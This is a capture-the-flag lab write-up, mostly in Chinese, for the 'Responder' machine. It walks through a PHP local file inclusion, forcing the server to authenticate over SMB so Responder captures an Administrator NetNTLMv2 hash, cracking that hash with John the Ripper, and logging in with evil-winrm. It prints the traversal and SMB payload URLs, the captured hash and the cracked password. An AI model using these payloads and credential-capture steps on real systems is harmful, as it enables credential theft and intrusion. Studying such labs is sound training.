Skip to content

Responder Write-up

Introduction

Windows 是当今世界上最主要的操作系统,因为它易于使用的 GUI可访问性。大约 85% 的市场份额已成为攻击的关键操作系统。此外,大多数组织使用 Active Directory 设置其 Windows 域网络。微软采用 NTLM(新技术 LAN 管理器)和 Kerberos 用于身份验证服务。尽管存在已知漏洞,即使在新系统上NTLM 仍然被广泛部署,以保持与旧客户端的兼容性和服务器。

本实验重点介绍 Windows 机器上提供的网页上的文件包含漏洞如何影响被利用来收集运行 Web 服务器的用户的 NetNTLMv2 质询。我们将使用一个称为 Responder 的实用程序来捕获 NetNTLMv2 哈希,然后使用称为 john the ripper 的实用程序测试数以百万计的潜在密码,看看它们是否与用于创建哈希的密码匹配。我们也将深入了解 NTLM 身份验证的工作过程以及响应程序实用程序如何捕获挑战。我们认为,了解工具或框架的幕后工作至关重要,因为它加强了理解的基础,有助于在现实世界中利用人们可能面临的情况,乍一看似乎并不容易受到攻击。让我们直接进入它。

Enumeration

我们将首先扫描主机上的任何开放端口并使用 Nmap 扫描运行服务。 我们将使用以下标志进行扫描:

-p- : This flag scans for all TCP ports ranging from 0-65535
-sV : Attempts to determine the version of the service running on a port
--min-rate : This is used to specify the minimum number of packets Nmap should send per
second; it speeds up the scan as the number goes higher
nmap -p- --min-rate 5000 -sV 10.129.136.91

Nmap如何判断端口上运行的服务? Nmap 使用知名服务的端口服务数据库来确定服务 在特定端口上运行。 它稍后还会向该端口发送一些特定于服务的请求以 确定服务版本和有关它的任何其他信息。 因此,对于特定端口的服务信息,Nmap 大部分但并不总是正确。

💡根据 Nmap 扫描的结果,该机器使用 Windows 作为其操作系统。 两个端口被检测为开放,Apache Web 服务器在端口 80 上运行,WinRM 在端口 5985 上运行。

Windows 远程管理或 WinRM 是 Windows 原生的内置远程管理协议 它基本上使用简单对象访问协议与远程计算机和服务器进行交互,以及 操作系统和应用程序。 WinRM 允许用户: → 与主机远程通信和接口 → 在非本地但可通过网络访问的系统上远程执行命令。 → 从远程位置监控、管理和配置服务器、操作系统和客户端机器。 作为一名渗透测试者,这意味着如果我们可以找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得一个 PowerShell shell。

Website Enumeration

在打开 Firefox 并输入 http://[target ip] 时,浏览器会返回一条关于无法找到该站点的消息。查看 URL 栏中,它现在显示 http://unika.htb 。该网站已将浏览器重定向到一个新 URL,而您的主机不知道如何找到 unika.htb 。该网络服务器使用基于名称的虚拟主机来服务请求。基于名称的虚拟主机是一种在单个服务器上托管多个域名(每个名称分别处理)的方法。这允许一台服务器共享其资源,例如内存和处理器周期,而不需要所有服务都由相同的主机名使用。 Web 服务器检查 HTTP 请求的 Host 标头字段中提供的域名,并据此发送响应。 /etc/hosts 文件用于将主机名解析为 IP 地址,因此我们需要在 /etc/hosts 文件中为该域添加一个条目,以使浏览器能够解析 unika.htb 的地址。 /etc/hosts 文件中的条目:

echo "10.129.107.98 unika.htb" | sudo tee -a /etc/hosts

在 /etc/hosts 文件中添加此条目将使浏览器能够将主机名 unika.htb 解析为相应的 IP 地址,从而使浏览器在浏览器发送给此的每个 HTTP 请求中包含 HTTP 标头 Host: unika.htb IP 地址,这将使服务器响应 unika.htb 的网页。 在访问网页时,我们会看到一个网页设计业务登录页面。

image-20220709141504947

检查该站点,我们没有看到任何特别感兴趣的内容。 虽然,我们注意到导航栏 EN 上有一个语言选择选项,将选项更改为 FR 会将我们带到法语版本的网站。

image-20220709141555387

注意到 URL,我们可以看到 french.html 页面正在由 page 参数加载,如果页面输入未经过过滤,则可能容易受到本地文件包含 (LFI) 漏洞的攻击。


File Inclusion Vulnerability

动态网站包括使用来自 HTTP 请求的信息的动态 HTML 页面,包括 GET 和 POST 参数、cookie 和其他变量。一个页面通常会根据其中一些参数“包含”另一个页面。

LFI 或本地文件包含发生在攻击者能够让网站包含不打算成为此应用程序选项的文件时。一个常见的例子是应用程序使用文件的路径作为输入。如果应用程序将此输入视为可信输入,并且未对此输入执行所需的卫生检查,则攻击者可以通过使用输入文件名中的 ../ 字符串来利用它,并最终查看本地文件系统中的敏感文件。在某些有限的情况下,LFI 也可能导致代码执行。

RFI 或远程文件包含类似于 LFI,但在这种情况下,攻击者可以使用 HTTP、FTP 等协议在主机上加载远程文件。

我们测试页面参数以查看是否可以在服务器响应中包含目d标系统上的文件。我们将使用一些在网络、Windows 域和系统中具有相同名称的众所周知的文件进行测试,这些文件可以在此处找到。渗透测试人员可能会尝试在 Windows 机器上访问以验证 LFI 的最常见文件之一是主机文件 WINDOWS\System32\drivers\etc\hosts(该文件有助于将主机名本地转换为 IP 地址) . ../ 字符串用于遍历一个目录,一次一个。因此,多个 ../ 字符串包含在 URL 中,以便服务器上的文件处理程序遍历回基本目录,即 C:\ 。

http://unika.htb/index.php?
page=../../../../../../../../windows/system32/drivers/etc/hosts

image-20220709142153061

太好了,LFI 是可能的,因为我们可以在响应中查看 C:\windows\system32\drivers\etc\hosts 文件的内容。

在这种情况下,文件包含之所以成为可能,是因为在后端 PHP 的 include() 方法被用于处理 URL 参数页面,以便为不同语言提供不同的网页。 而且由于没有对这个页面参数进行适当的清理,我们能够传递恶意输入并因此查看内部系统文件。

💡PHP 中的 include() 方法是什么? include 语句获取指定文件中存在的所有文本/代码/标记并将其加载到内存中,使其可供使用。 例如:

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>

有关 PHP 的 include() 方法的更详细说明,请参见此处


Responder Challenge Capture

我们知道这个网页容易受到文件包含漏洞的影响,并且在 Windows 机器上提供服务。因此,存在在我们的攻击者工作站上包含文件的可能性。如果我们选择像 SMB 这样的协议,Windows 将尝试对我们的机器进行身份验证,我们可以捕获 NetNTLMv2。

什么是 NTLM(新技术局域网管理器)?

NTLM 是 Microsoft 创建的身份验证协议的集合。它是一种质询-响应身份验证协议,用于向 Active Directory 域上的资源验证客户端。

它是一种单点登录 (SSO),因为它允许用户在登录时只提供一次底层身份验证因素。

NTLM 身份验证过程按以下方式完成:

  1. 客户端将用户名和域名发送给服务器。
  2. 服务器生成一个随机字符串,称为挑战。
  3. 客户端使用用户密码的 NTLM 哈希加密挑战并将其发送回服务器。
  4. 服务器检索用户密码(或等效密码)。
  5. 服务器使用从安全帐户数据库中检索到的哈希值来加密挑战字符串。然后将该值与从客户端接收到的值进行比较。如果值匹配,则客户端通过身份验证。

可以在此处找到有关 NTLM 身份验证工作的更详细说明。

NTLM vs NTHash vs NetNTMLv2

围绕 NTLM 身份验证的术语很混乱,甚至专业人士也不时滥用它,所以让我们定义一些关键术语:

哈希函数是一种单向函数,它接受任意数量的数据并返回固定大小的值。通常,结果被称为散列、摘要或指纹。它们用于更安全地存储密码,因为无法将散列直接转换回原始数据(尽管存在试图从散列中恢复密码的攻击,我们稍后会看到)。因此,服务器可以存储您密码的哈希值,当您向网站提交密码时,它会对您的输入进行哈希处理,并将结果与数据库中的哈希值进行比较,如果它们匹配,它就知道您提供了正确的密码。

NTHash 是用于在 SAM 数据库和域控制器上存储 Windows 系统密码的算法的输出。 NTHash 通常被称为 NTLM 哈希,甚至只是 NTLM,这是非常容易误导/混淆的。

当 NTLM 协议想要通过网络进行身份验证时,它使用如上所述的质询/响应模型。 NetNTLMv2 质询/响应是一个专门格式化为包含质询和响应的字符串。这通常称为 NetNTLMv2 散列,但它实际上不是散列。尽管如此,它通常被称为哈希,因为我们以相同的方式攻击它。您会看到 NetNTLMv2 对象被称为 NTLMv2,甚至令人困惑地称为 NTLM。


Using Responder

在 PHP 配置文件 php.ini 中,“allow_url_include”包装器默认设置为“Off”,表示 PHP 不加载远程 HTTP 或 FTP URL,以防止远程文件包含攻击。但是,即使将 allow_url_include 和 allow_url_fopen 设置为“Off”,PHP 也不会阻止加载 SMB URL。在我们的例子中,我们可以滥用这个功能来窃取 NTLM 哈希。

现在,使用此链接中的示例,我们可以尝试加载 SMB URL,在此过程中,我们可以使用 Responder 从目标捕获哈希。

响应器如何工作

Responder 可以进行多种不同类型的攻击,但对于这种情况,它会设置一个恶意 SMB 服务器。当目标机器尝试对该服务器执行 NTLM 身份验证时,响应程序会向服务器发送回一个质询,以使用用户密码进行加密。当服务器响应时,Responder 将使用质询和加密响应来生成 NetNTLMv2。虽然我们无法逆转 NetNTLMv2,但我们可以尝试许多不同的常用密码,看看是否有任何生成相同的质询-响应,如果找到,我们就知道那是密码。这通常被称为散列破解,我们将使用一个名为 John The Ripper 的程序来完成。


首先,如果机器上尚未安装 Responder 实用程序,我们将 Responder 存储库克隆到本地机器。

git pull https://github.com/lgandx/Responder

验证 Responder.conf 是否设置为侦听 SMB 请求。

image-20220709143248763

配置文件准备好后,我们可以继续使用 python3 启动 Responder ,传入接口 使用 -I 标志收听:

sudo python3 Responder.py -I tun0

可以通过在终端中运行 ifconfig 命令来检查网络接口。

对于 Kali Linux 或 HTB Pawnbox,Responder 默认安装为系统实用程序,因此只需运行命令 sudo responder -I {network_interface} 即可启动它。


如果出现无法在端口 80 上启动 TCP 服务器的错误,这是因为端口 80 是 已被机器上的其他服务使用。 这个错误可以通过修改 Responder.conf 文件以关闭“要启动的服务器”部分下列出的“HTTP”条目

Location of Responder.conf file -
-> for default system install : /usr/share/responder/Responder.conf
-> for github installation : /installation_directory/Responder.conf

在 Responder.conf 文件的“要启动的服务器”部分下将“HTTP”标志设置为“Off”:

; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
[** SNIP **]

image-20220709143624934

准备好 Responder 服务器后,我们通过设置来告诉服务器包含来自 SMB 服务器的资源 页面参数如下通过网络浏览器。

http://unika.htb/?page=//10.10.14.25/somefile

在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。 现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。

注意:确保在地址中添加 http://,因为某些浏览器可能会选择 Google 搜索而不是导航到相应的页面。

通过网络浏览器发送我们的有效负载后,我们收到一个错误,提示无法加载请求的文件。

image-20220709144007503

但是在检查我们的监听响应服务器时,我们可以看到我们有一个用于管理员用户的 NetNTLMv。

image-20220709144038539

NetNTLMv2 包括质询(随机文本)和加密响应。


Hash Cracking

我们可以将哈希值转储到一个文件中并尝试使用 john 来破解它,它是一个密码哈希破解实用程序。

echo "Administrator::DESKTOPH3OF232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D
801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E0048004500
3800440049003400410053004300510004003400570049004E002D004E00480045003800440049003400410
05300430051002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C
004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D
801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA926
30A77E073056DA8C3F356D47C324C6D6D16F0A0010000000000000000000000000000000000009002000630
06900660073002F00310030002E00310030002E00310034002E00320035000000000000000000" >
hash.txt

我们将哈希文件传递给 john 并破解管理员帐户的密码。 散列类型由 john 命令行工具自动识别。

-w : wordlist to use for cracking the hash
john -w=/usr/share/wordlists/rockyou.txt hash.txt

image-20220709144310202

john 将尝试给定密码列表中的每个密码,并使用该密码对挑战进行加密。 如果结果与响应匹配,则它知道它找到了正确的密码。 至此,Administrator账号密码破解成功。

password : badminton

WinRM

我们将连接到目标上的 WinRM 服务并尝试获取会话。 因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为 Evil-WinRM 的工具,它是为这种情况而设计的。

evil-winrm -i 10.129.136.91 -u administrator -p badminton

image-20220709144444103

We can find the flag under C:\Users\mike\Desktop\flag.txt .

image-20220709144501717

恭喜! 您现在可以使用 type 命令查看 flag.txt 的内容。